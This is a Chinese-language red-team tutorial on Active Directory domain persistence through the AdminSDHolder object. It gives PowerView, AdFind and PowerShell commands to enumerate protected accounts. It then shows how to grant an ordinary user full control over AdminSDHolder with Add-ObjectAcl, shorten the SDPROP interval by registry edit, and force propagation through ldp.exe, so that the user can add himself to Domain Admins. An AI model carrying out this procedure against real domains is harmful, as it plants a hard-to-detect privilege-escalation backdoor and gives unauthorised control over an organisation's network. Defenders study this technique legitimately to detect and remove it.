简介
AdminSDHolder是一个特殊的ad容器,具备一些默认安全权限,用于受保护的ad账户和组的模板
active directory将采用AdminSDHolder对象的acl并定期将其应用于所有受保护的ad账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的
如果能够修改AdminSDHolder对象的acl,那么修改的权限将自动应用于所有受保护的ad账户和组,能够进一步进行域环境的权限维持
相应dn信息如下:
CN=AdminSDHolder,CN=System,DC=rootkit,DC=org
实际使用
基本思路
枚举受保护的ad账户和组中信息
查找有价值的,排除曾经属于受保护的ad账户和组
添加用户对AdminSDHolder的完全访问权限,默认等待60分钟,可以通过注册表进行修改,如下为修改60秒
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
枚举受保护的ad账户和组中信息
在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators
其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限
受保护的ad账户和组的具备admincount属性值为1的特征,但是admincount为1并不能保证现在也是受保护ad账户和组,因为从受保护的组中删除后,用户自己的admincount属性的值其实也不会改变
powerview
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
查询ad保护的域中所有的用户
Get-NetUser -AdminCount
只筛选出用户名
Get-NetUser -AdminCount |select samaccountname
查询域中受ad保护的所有组
Get-netgroup -AdminCount
adfind
查询ad保护的域中所有的用户
adfind.exe -b dc=rootkit,dc=org -f "&(objectCategory=Person)(admincount=1)" -dn
objectCategory=Person是因为域用户的objectCategory属性都为Person
查询ad保护的域中的所有的组
adfind.exe -b dc=rootkit,dc=org -f "&(objectCategory=group)(admincount=1)" -dn
ActiveDirectory
查询ad保护的域中所有的用户和组
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
操作AdminSDHolder对象的ACL
查看
powerview查询AdminSDHolder的acl
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference
增加
增加AdminSDHolder的acl,添加yangy用户的完全访问权限,默认等待60分钟后将会获得受保护的ad账户和组的完全访问控制权限
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName yangy -Verbose -Rights All
验证
powerview查询确认添加成功
确认具备完全控制权限
能够实现什么?如下,确认当前为domain user,能够将自己加入到domain admins
删除
删除先前添加的acl
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org” -PrincipalIdentity yangy -Rights All -Verbose
补充SDPROP
为了将可继承ace的更改传播到后代对象,域控将运行一个称为安全描述符传播其SDPROP的后台任务,通过修改对象的安全描述符或移动对象时将触发此任务
修改
已知修改了AdminSDHolder的acl后默认将等待60分钟生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记acl
先前已知的设置一分钟命令如下,范围在一分钟至一百二十分钟
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
大型域环境不建议修改,当时间变短时候CPU处理LSASS的开销就会变大,容易导致系统出现卡顿
手动运行
进入ldp.exe
如下进行连接
连接处绑定为当前登录用户并点击确定
进入修改
浏览中进入修改,属性填写FixUpInheritance、值填写Yes,点击输入,点击运行
最终效果如下